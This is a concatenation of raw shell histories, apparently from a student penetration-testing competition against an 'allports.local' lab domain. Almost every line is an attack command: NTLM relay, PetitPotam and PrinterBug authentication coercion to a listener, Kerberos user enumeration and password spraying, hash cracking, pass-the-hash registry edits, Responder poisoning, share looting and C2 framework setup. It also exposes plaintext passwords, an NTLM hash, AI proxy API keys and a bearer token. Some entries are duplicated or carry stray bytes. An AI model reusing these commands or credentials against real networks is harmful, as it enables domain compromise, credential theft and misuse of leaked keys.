impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support --no-dump --no-da --no-acl --add-computer 'BEANS$'
impacket-ntlmrelayx -smb2support -t smb://10.0.1.21 -c 'whoami /all' -debug
clear
impacket-ntlmrelayx -smb2support -t smb://10.0.1.21 -c 'whoami /all' -debug
clear
ntlmrelayx.py -t 10.0.1.21 -smb2support --dump-sam
impacket-ntlmrelayx -t 10.0.1.21 -smb2support --dump-sam
impacket-ntlmrelayx -t 10.0.1.21 -smb2support
clear
cd RustHound
ls
cd CVE-2025-33073
ls
python CVE-2025-33073.py
python CVE-2025-33073.py -u SVC_STABILIZE -p 1gyroscope -d 10.0.254.201 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target 10.0.1.21
python CVE-2025-33073.py -u SVC_STABILIZE -p 1gyroscope -d 10.0.254.201 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target-ip 10.0.1.21
clear
claude
clear
cd
clera
ls
clear
ls
clear
ls
export BFINN@REDACTED_EMAIL
export KRB5CCNAME=BFINN@REDACTED_EMAIL
evil-winrm-py
nxc smb 10.0.1.0/24 -u 'SVC_STABILIZE' -p '1gyroscope'  --generate-krb5-file
nxc smb 10.0.1.0/24 -u 'SVC_STABILIZE' -p '1gyroscope' --generate-krb5-file file.txt
cat passwords.txt
cat password.txt
sudo cp file.txt /etc/krb5.conf
evil-winrm
evil-winrm -i 10.0.1.20 -r allports.local
evil-winrm -i 10.0.1.20 -r allports.local -k BFINN@REDACTED_EMAIL
cat /etc/krb5.conf
evil-winrm -i DECKHAND-01 -r allports.local -k BFINN@REDACTED_EMAIL
nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M enum_CA
nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -h
nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L
nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M adcs
nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L
nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M enum_ca
ls
clear
ls
export KRB5CCNAME=BFINN@REDACTED_EMAIL
impacket-psexec DECKHAND-01
klist -e
clear
nc 127.0.0.1 11000
nc -C 127.0.0.1 11000
nc 127.0.0.1 11000
nc -C 127.0.0.1 11000
socat - TCP:127.0.0.1:11000
python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 11000)); import sys; [s.send(sys.stdin.buffer.read(1)) or sys.stdout.buffer.write(s.recv(4096)) for _ in iter(int, 1)]"
rlwrap nc 127.0.0.1 11000
export KRB5CCNAME=BFINN@REDACTED_EMAIL
export KRB5CCNAME=DECKHAND-01.ccache
nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam
nxc smb 10.0.1.0/24 -k --use-kcache
socat - TCP:127.0.0.1:11000
bash


_raw: : 1767992738:0;ffprobe -v error -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 ~/Downloads/Inject-01/AllPortsTours_CEO_Announcement_2026.mp4


_raw: : 1767992720:0;nxc smb DECKHAND-01.allports.local -u rdavis2 -p password -k


_raw: : 1767992718:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767992716:0;cat big_APT_valid_username_list.txt | grep boat


_raw: : 1767992710:0;cat big_APT_valid_username_list.txt | grep captain


_raw: : 1767992698:0;nxc smb 10.0.1.6 -k --use-kcache -M coerce_plus -o LISTENER=10.0.254.201 METHOD=PetitPotam


_raw: : 1767992696:0;sudo nano /etc/responder/Responder.conf


_raw: : 1767992666:0;wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip && unzip SecList.zip && rm -f SecList.zip


_raw: : 1767992656:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" --exclude-length 153


_raw: : 1767992652:0;ffmpeg -t 29 ~/Downloads/Inject-01/test.mp3 -acodec copy ~/Downloads/test2.mp3


_raw: : 1767992648:0;ffmpeg -t 29 ~/Downloads/Inject-01/test.mp3 -acodec copy ~/Downloads/test2.mp4


_raw: : 1767992642:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" -b 429 --exclude-length 153


_raw: : 1767992634:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" -b 429


_raw: : 1767992618:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" -poq


_raw: : 1767992611:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" -e 429


_raw: : 1767992605:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours" --exclude-status 429


_raw: : 1767992604:0;ffmpeg -i ~/Downloads/Inject-01/AllPortsTours_CEO_Announcement_2026.mp4 ~/Downloads/Inject-01/test.mp3


_raw: : 1767992603:0;cat new_big_APT_valid_username_list.txt | grep boatsgps


_raw: : 1767992601:0;cat new_big_APT_valid_username_list.txt | grep boatgps


_raw: : 1767992595:0;cat new_big_APT_valid_username_list.txt | grep captain


_raw: : 1767992582:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours"


_raw: : 1767992573:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt  curl -k https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours"


_raw: : 1767992542:0;curl -k https://10.0.1.99/Dockerfile -H "Host: rik.rooms.allports.tours"


_raw: : 1767992540:0;./adaptixserver -profile profile.json


_raw: : 1767992535:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1767992534:0;curl -k https://10.0.1.99/food_items.json -H "Host: rik.rooms.allports.tours"


_raw: : 1767992534:0;openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650


_raw: : 1767992526:0;curl -k https://10.0.1.99/fooditems.json -H "Host: rik.rooms.allports.tours"


_raw: : 1767992525:0;./adaptixserver -profile profile.json


_raw: : 1767992523:0;ldapsearch -x -b "dc=allports,dc=local" -h 10.0.1.6 -p 389 '(ObjectClass=User)' sAMAccountName | grep sAMAccountName | awk '{print $2}'


_raw: : 1767992517:0;openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650


_raw: : 1767992513:0;./kerbrute -t 1 -v -d 'APT' -o valid_credentials_2.txt --dc 10.0.1.6 passwordspray new_big_APT_valid_username_list.txt Sails@way!


_raw:
ip a
cd Downloads
ls
rm -rf html
ls
file 4_history.pdf
tar -xf boat\ navigation\ app.tar.gz
ls
7z x boat\ navigation\ app.tar.gz
ls
strings boat\ navigation\ app.tar | grep history
ls
tar -xf boat\ navigation\ app.tar
ls
cd html
ls
sudo apt install claude-code
sudo apt install claude
curl -fsSL https://claude.ai/install.sh | bash
claude
curl -fsSL https://claude.ai/install.sh | bash
exit


_raw: : 1767992502:0;ldapsearch -x -b "dc=10.0.1.6" -h <IP> -p 389 '(ObjectClass=User)' sAMAccountName | grep sAMAccountName | awk '{print $2}'


_raw:
ls
cd finals5
s
ls
cd windows
ls
cat users.txt
cat users.txt | grep svc
cat users.txt | grep stab
nxc smb 10.0.1.6 -u users.txt -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.20 -u '' -p '' -k
nxc smb 10.0.1.21 -u '' -p '' -k
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.21 -u 'guest' -p ''
nxc smb 10.0.1.6 -u users.txt -p '' --continue-on-success
cat users.txt | grep svc
ls
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --kerberoast k.out
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -k  --kerberoast k.out
nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --kerberoast k.out
nxc smb 10.0.1.20 -u 'guest' -p '' --continue-on-success
nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success
nxc smb 10.0.1.20 -u users.txt -p '' --continue-on-success --log a .log
nxc smb 10.0.1.20 -u users.txt -p '@nchor2024' --continue-on-success
nxc smb 10.0.1.21 -u users.txt -p '@nchor2024' --continue-on-success
nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' -k --continue-on-success
nxc smb 10.0.1.21 -u users.txt -p '@nchor2025' --continue-on-success
nxc smb 10.0.1.20 -u users.txt -p '@nchor2025' --continue-on-success
cat users.txt| wc -l
head users.txt \
head users.txt
head users.txt -n 50
cat users.txt| grep -Ev 'BB|AA|CC'
cat users.txt| grep -Ev 'BB|AA|CC' | less
cat users.txt| grep -Ev 'BB|AA|CC|CS' | less
cat users.txt| grep -Ev 'BB|AA|CC|CS|DD' | less
cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV' | less
cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' | less
cat users.txt| grep -Ev 'BB|AA|CC|CS|DD|FV|PP' > usernames.txt
ls
cat usernames.txt
cat usernames.txt |grep SVC
nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' --continue-on-success
nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success
sudo su
nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success
nxc smb 10.0.1.6 -u usernames.txt -p '@nchor2025' -k --continue-on-success -o test1.log
responder
sudo responder
sudo responder -I eth0
clear
ls
cat users.txt
vim users.txt
exit


_raw:
cd finals5
ls
mkdir artifacts
cd artifacts
ls
cp '/home/pentester/.penelope/sessions/826d76ce727f~10.0.1.10-Linux-x86_64/downloads/app/bin1
cp '/home/pentester/.penelope/sessions/826d76ce727f~10.0.1.10-Linux-x86_64/downloads/app/bin1' .
ls
file bin1
ls
strings bin1
nxc smb -L
nxc smb -M coerce_plus -O
nxc smb -M coerce_plus --help
nxc smb -M coerce_plus --options
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o L=10.0.254.251 -o ALWAYS=true
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o LISTENER=10.0.254.251 -o ALWAYS=true -o METHOD=All
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus -o LISTENER=10.0.254.251 -o ALWAYS=true -o METHOD=PrinterBug
ls
cd /etc/
df -h
ls | grep krb
ls
cd ~
ls
cd finals5
ls
cd windows
ls
cat usernames.txt| less
cat users.txt| less
ls
cd ..
ls
cd wordlists
ls
bash get_wordlists.sh
ls
ffuf -u https://penny.allports.tours/ -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.allports.tours"
ffuf -u https://penny.allports.tours/ -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.allports.tours" -fw 629
ls
vim hash.txt
hashcat hash.txt rockyou.txt
hashcat hash.txt rockyou.txt -m 0
cd ../..
ls
cat penny_leak.json| jq
sudo apt install jq
cat penny_leak.json| jq
ls
vim penny_leak.json
cat penny_leak.json| jq
cat penny_leak.json| jq | less
cat penny_leak.json| jq '.versions'
cat penny_leak.json| jq '.versions' | jq
cat penny_leak.json| jq '.versions' | jq '.[].instructions'
cat penny_leak.json| jq '.versions' | jq '.[].instructions' > instructions.txt
vim instructions.txt
	ls
cat instructions.txt| less
cat instructions.txt| grep pass
vim instructions.txt
cat instructions.txt
clear
cat instructions.txt | wc -l
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV"
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --shares
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --users
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k --users
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -k --shares
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --help
nxc ldap 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k
nxc ldap 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --help[
nxc ldap 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --help
nxc ldap 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" -k --users
ls
cd finals5
ls
cd windows
ls
nxc smb 10.0.1.20 -u pentester -p ")u1h55hm-h(M(7nV" -k
nxc smb 10.0.1.20 -u pentester -p ")u1h55hm-h(M(7nV" -k --shares
nxc smb 10.0.1.21 -u pentester -p ")u1h55hm-h(M(7nV" -k --shares
nxc smb 10.0.1.21 -u pentester -p ")u1h55hm-h(M(7nV" -k --users
nxc smb 10.0.1.21 -u pentester -p ")u1h55hm-h(M(7nV" -k --shares
ls
cat users.txt
nxc smb 10.0.1.6 -u users.txt -p ")u1h55hm-h(M(7nV" -k -o out.log


_raw: : 1767992499:0;curl -k https://10.0.1.99/api/id -H "Host: rik.rooms.allports.tours"


_raw:
tmux source-file /home/pentester/.tmux.conf
/home/pentester/.tmux/plugins/tpm/bin/install_plugins
tmux source-file /home/pentester/.tmux.conf
/home/pentester/.tmux/plugins/tpm/bin/install_plugins
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git finals 5
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git
ls
cat password.txt
mv University-of-California-Irvine finals5
cd finals
cd finals5
ls
cd scripts
ls
bash tmuxSetup.sh
ls
bash install.sh
sudo su
ls
ls -la
ls
ls -la
vim .zshrc
claude
ls
cd Downloads
ls
cd html
ls
claude
ls
cd Downloads
ls
cd ..
ls
cd finals5
ls
cd artifacts
ls
claude
ls
cat /etc/profile.d/history-flush.sh
shopt
history
ls
history
ls
cd scripts
ls
cd finals5
ls
cd scripts
l;s
ls
cat shell.sh
enum4linux-ng -A 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV"
nxc smb --help
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" --qwinsta
ls
cd ..
ls
cd windows
ls
nxc smb 10.0.1.20-21 -u users.txt -p Sails@way! --local-auth
ls
nxc smb 10.0.1.20-21 -u users.txt -p Sails@way! --local-auth -o out.log
nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth -o out.log
ls
nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth --output 0.log


_raw:
ls
cd scripts
ls
cd finals5
ls
cd scripts
l;s
ls
cat shell.sh
enum4linux-ng -A 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV"
nxc smb --help
nxc smb 10.0.1.6 -u pentester -p ")u1h55hm-h(M(7nV" --qwinsta
ls
cd ..
ls
cd windows
ls
nxc smb 10.0.1.20-21 -u users.txt -p Sails@way! --local-auth
ls
nxc smb 10.0.1.20-21 -u users.txt -p Sails@way! --local-auth -o out.log
nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth -o out.log
ls
nxc smb 10.0.1.20-21 -u usernames.txt -p Sails@way! --local-auth --output 0.log


_raw:
: 1767992496:0;export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team7-key2-d745c793-604e-4150-9ee3-12d52dd219b6"


_raw: : 1767992472:0;curl -k https://10.0.1.99/api/id -H "Host: qweo.rooms.allports.tours"


_raw: : 1767992469:0;curl -k https://10.0.1.99/api/id -H "Host: *.rooms.allports.tours"


_raw: : 1767992464:0;curl -k https://10.0.1.99/api/id -H "Host: \".rooms.allports.tours"


_raw: : 1767992461:0;curl -k https://10.0.1.99/api/id -H "Host: ".rooms.allports.tours"


_raw: : 1767992455:0;curl -k https://10.0.1.99/api/id -H "Host: test.rooms.allports.tours"


_raw: : 1767992434:0;curl -k https://test.rooms.allports.tours/api/id


_raw: : 1767992428:0;curl -vk https://test.rooms.allports.tours/api/id


_raw: : 1767992426:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767992421:0;curl -vk https://test.rooms.allports.tours/announcements.html


_raw: : 1767992419:0;curl -v https://test.rooms.allports.tours/announcements.html


_raw: : 1767992412:0;impacket-reg administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1767992390:0;impacket-reg administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin -vt REG_DWORD -vd 0


_raw: : 1767992378:0;kerbrute userenum -d allports.local --dc APT-DC-01 domainusers.txt


_raw: : 1767992371:0;kerbrute userenum -d allports.local --dc APT-DC-01 users.txt


_raw: : 1767992366:0;./kerbrute -t 1 -v -d 'APT' -o valid_credentials_2.txt --dc 10.0.1.6 passwordspray big_APT_valid_username_list.txt Sails@way!


_raw: : 1767992319:0;./kerbrute -t 1 -v -d 'APT' -o valid_credentials_1.txt --dc 10.0.1.6 passwordspray test.txt Sails@way!


_raw: : 1767992233:0;hashcat -m 1600 hash passwords.txt


_raw: : 1767992230:0;ffuf -u http://10.0.1.99:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt


_raw: : 1767992202:0;hashcat -m 1600 hash passwords.txt


_raw: : 1767992198:0;hashcat -m 1600 hash password


_raw: : 1767992191:0;hashcat -m 1600 passwords.txt hash


_raw: : 1767992188:0;nxc smb 10.0.1.20-21 -u users.txt -p updatepass.txt --local-auth --continue-on-success | grep +


_raw: : 1767992180:0;nxc smb 10.0.1.20-21 -u users.txt -p updatepass.txt -localauth --continue-on-success | grep +


_raw: : 1767992174:0;nxc smb 10.0.1.20-21 -u users.txt -p updatepass.txt -local-auth --continue-on-success | grep +


_raw: : 1767992172:0;mv new_big_APT_list.txt new_big_APT_valid_username_list.txt


_raw: : 1767992136:0;impacket-reg administrator@10.0.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:a4fa38e8e61d094ab455cecda06105d3 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1767992102:0;grep -oP 'VALID USERNAME:\s+\K[^@]+' big_APT_valid_username_list.txt > new_big_APT_list.txt


_raw: : 1767992064:0;sudo apt install gcc g++ build-essential make cmake mingw-w64 g++-mingw-w64 libssl-dev qt6-base-dev qt6-base-private-dev libxkbcommon-dev qt6-websockets-dev qt6-declarative-dev


_raw:
: 1767992033:0;sudo apt install mingw-w64 make gcc g++ g++-mingw-w64\
\
wget https://go.dev/dl/go1.25.4.linux-amd64.tar.gz -O /tmp/go1.25.4.linux-amd64.tar.gz\
sudo rm -rf /usr/local/go /usr/local/bin/go\
sudo tar -C /usr/local -xzf /tmp/go1.25.4.linux-amd64.tar.gz\
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go


_raw: : 1767992016:0;nxc smb 10.0.1.6 -u users.txt -p 'AllPorts2026!' --continue-on-success | grep +


_raw: : 1767992004:0;git clone https://github.com/Adaptix-Framework/AdaptixC2.git


_raw: : 1767991978:0;ncrack -vv --user bfinn -P /usr/share/wordlists/john.lst  rdp://10.0.1.6


_raw: : 1767991973:0;curl -X PUT "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw: : 1767991969:0;nxc smb workstations -u Guest -p '' --pass-pol


_raw: : 1767991967:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=status"


_raw: : 1767991961:0;curl -X GET "http://10.0.1.13:8080/api/navigation.php?action=status"\


_raw: : 1767991958:0;nxc ldap hosts.txt -u 'Guest' -p '' -M pre2k


_raw: : 1767991947:0;ncrack -vv --user bfinn -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1767991946:0;nxc ldap hosts.txt -u 'Guest' -p '' -M laps


_raw: : 1767991939:0;nxc smb hosts.txt -u 'Guest' -p '' -M laps


_raw: : 1767991934:0;nxc smb DECKHAND-02 -k --use-kcache -M coerce_plus -o LISTENER=10.0.1.20 METHOD=PetitPotam


_raw: : 1767991927:0;nxc smb hosts.txt -u 'Guest' -p '' -M uac


_raw: : 1767991923:0;nxc smb -k --use-kcache 10.0.1.20 --user administrator


_raw: : 1767991837:0;python3 ai.py -u http://10.0.1.11:8081 -U users.txt -P /usr/share/wordlists/rockyou.txt -d 0


_raw: : 1767991775:0;impacket-reg administrator@10.0.1.21/Deckhand-01 -hashes :a4fa38e8e61d094ab455cecda06105d3 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1767991767:0;impacket-reg administrator@10.0.1.21/Deckhand-01 -hashes :a4fa38e8e61d094ab455cecda06105d3 add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin -vt REG_DWORD -vd 0


_raw: : 1767991757:0;impacket-reg administrator@10.0.1.20/Deckhand-01 -hashes :a4fa38e8e61d094ab455cecda06105d3 add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin -vt REG_DWORD -vd 0


_raw: : 1767991752:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local SecLists/Usernames/xato-net-10-million-usernames-dup.txt > output.txt


_raw: : 1767991722:0;nxc smb 10.0.1.6 -u users.txt -p updatepass.txt --continue-on-success | grep +


_raw: : 1767991710:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767991708:0;nxc ldap apt-dc-01.allports.local


_raw: : 1767991707:0;ntlmrelayx.py -t ldap://10.0.1.6 --delegate-access


_raw: : 1767991693:0;nxc smb 10.0.1.6 -u users.txt -p 'AllPorts2026!' --continue-on-success


_raw: : 1767991685:0;nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true


_raw: : 1767991683:0;ntlmrelayx.py -t ldaps://10.0.1.6 --delegate-access


_raw: : 1767991673:0;termshot -scf out.png -C80 -- 'nxc ldap apt-dc-01.allports.local'


_raw: : 1767991663:0;termshot -scf out.png -C60 -- 'nxc ldap apt-dc-01.allports.local'


_raw: : 1767991662:0;findDelegation.py allports.local/svc_stabilize:1gyroscope -dc-ip 10.0.1.6


_raw: : 1767991634:0;cat username_enumeration_two.txt | grep VALID


_raw: : 1767991629:0;cat username_enumeration.txt | grep VALID


_raw: : 1767991612:0;impacket-reg administrator@10.0.1.20/Deckhand-01 -hashes :a4fa38e8e61d094ab455cecda06105d3 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1767991597:0;termshot -scf out.png -C30 -- 'nxc ldap apt-dc-01.allports.local'


_raw: : 1767991587:0;mv /home/pentester/Downloads/*.deb /tmp


_raw: : 1767991575:0;smbclient //10.0.1.6/SYSVOL -U 'svc_stabilize%1gyroscope' -c 'recurse; prompt off; mget *'


_raw: : 1767991573:0;mv /home/pentester/Downloads/*.deb /tmp


_raw: : 1767991573:0;python3 ai.py -u http://10.0.1.11:8081 -U users.txt -P /usr/share/wordlists/rockyou.txt -d 0


_raw: : 1767991573:0;sudo responder -I eth0 -dwv


_raw: : 1767991561:0;smbclient //10.0.1.6/NETLOGON -U 'svc_stabilize%1gyroscope' -c 'recurse; prompt off; mget *'


_raw: : 1767991552:0;./kerbrute -t 1 -v -d 'APT' -o username_enumeration_two.txt --dc 10.0.1.6 userenum new_converted_usernames.txt


_raw: : 1767991544:0;./kerbrute -t 1 -v -d 'APT' -o username_enumeration_two.txt --dc-ip 10.0.1.6 userenum new_converted_usernames.txt


_raw: : 1767991540:0;curl -X POST http://target/api/export_csv.php \                                                                    ⃴\x82


_raw: : 1767991540:0;ntlmrelayx.py -tf hosts.txt -smb2support -socks


_raw:
: 1767991537:0;export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key3-919f8ad7-488a-43c4-b6aa-bc5e4fb9beaa"


_raw: : 1767991536:0;smbclient //10.0.1.6/NETLOGON -U 'svc_stabilize%1gyroscope' -c 'recurse; prompt off; mget *'


_raw: : 1767991532:0;sudo responder -I eth0 -dwv


_raw: : 1767991508:0;adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' 10.0.1.6 -r


_raw: : 1767991506:0;sudo $(which autorecon) -t ips.txt


_raw: : 1767991502:0;ntlmrelayx.py -tf hosts.txt -smb2support -socks


_raw: : 1767991501:0;sudo $(which autorecon) --help -t ips.txt


_raw: : 1767991500:0;sudo responder2 -I eth0 -dwv


_raw: : 1767991498:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M get-desc-users


_raw: : 1767991488:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope -M maq


_raw: : 1767991478:0;nxc winrm 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1767991476:0;impacket-reg administrator@10.0.1.20/Deckhand-01 -hashes a4fa38e8e61d094ab455cecda06105d3 query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1767991468:0;sudo $(which autorecon) --help ips.txt


_raw: : 1767991462:0;sudo $(which autorecon) ips.txt


_raw: : 1767991449:0;sed -n '/^scorpuz$/,$p' converted_usernames.txt | tail -n +2 > new_converted_usernames.txt


_raw: : 1767991448:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --escalate-user SVC_STABILIZE -smb2support


_raw: : 1767991440:0;sudo nano /etc/responder/Responder.conf


_raw: : 1767991403:0;hashcat '$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/' /usr/share/wordlists/rockyou.txt


_raw: : 1767991398:0;nxc rdp apt-dc-01.allports.local


_raw:
cd
cd Desktop
ifconfig
sudo responder -I eth0
nxc smb 10.0.1.6 -u '' -p '' --shares
sudo apt install nxc
pipx install nxc
nxc
enum4linux -a 10.0.1.6
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key1-4bff7271-16e5-4df5-8934-6232957a38b2"' >> ~/.zshrc\
source ~/.zshrc
claude
clear
enum4linux -a 10.0.1.6
clear
enum4linux-ng -A 10.0.1.20
enum4linux-ng -A 10.0.1.21
nxc smb 10.0.1.6 -u 'guest' -p '' --shares -k


_raw: : 1767991392:0;nxc rdp apt-dc-01.allports.tours


_raw: : 1767991370:0;hashcat hash.txt -m 0 /usr/share/wordlists/rockyou.txt


_raw:
: 1767991369:0;curl -X POST "http://10.0.1.13:8080/api/navigation.php?action=update_position" \\
    -H "Content-Type: application/json" -d '{}'\


_raw: : 1767991356:0;pipx install git+https://github.com/Tib3rius/AutoRecon.git


_raw:
: 1767991345:0;sudo apt install python3-venv\
python3 -m pip install --user pipx\
python3 -m pipx ensurepath


_raw: : 1767991339:0;hashcat hash.txt -m 0 /usr/share/wordlists/rockyou.txt


_raw: : 1767991328:0;sudo apt install seclists curl dnsrecon enum4linux feroxbuster gobuster impacket-scripts nbtscan nikto nmap onesixtyone oscanner redis-tools smbclient smbmap snmp sslscan sipvicious tnscmd10g whatweb


_raw: : 1767991320:0;GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -usersfile domainusers.txt -format hashcat


_raw:
: 1767991315:0;curl \\
  -X POST '10.0.1.11:7700/keys' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2Nzk4NjQ3MywiZXhwIjoxNzY3OTg3MzczfQ.kY6ac00UCGR68YNBwlbapowrkACC6pbGrBKgX4zwLHE' \\
  -H 'Content-Type: application/json' \\
  --data-binary '{\
    "description": "Add documents: Products API key",\
    "actions": ["documents.add"],\
    "indexes": ["products"],\
    "expiresAt": "2042-04-02T00:42:42Z"\
  }'


_raw:
: 1767991302:0;sudo apt install python3\
sudo apt install python3-pip


_raw: : 1767991302:0;xfreerdp /v:10.0.1.20 /u:svc_stabilize /p:1gyroscope /d:allports.local /cert-ignore


_raw: : 1767991283:0;python3 ai.py -u http://10.0.1.11:8081 -U users.txt -P /usr/share/wordlists/rockyou.txt


_raw:
: 1767991277:0;curl \\
  -X POST '10.0.1.11:7700/keys' \\
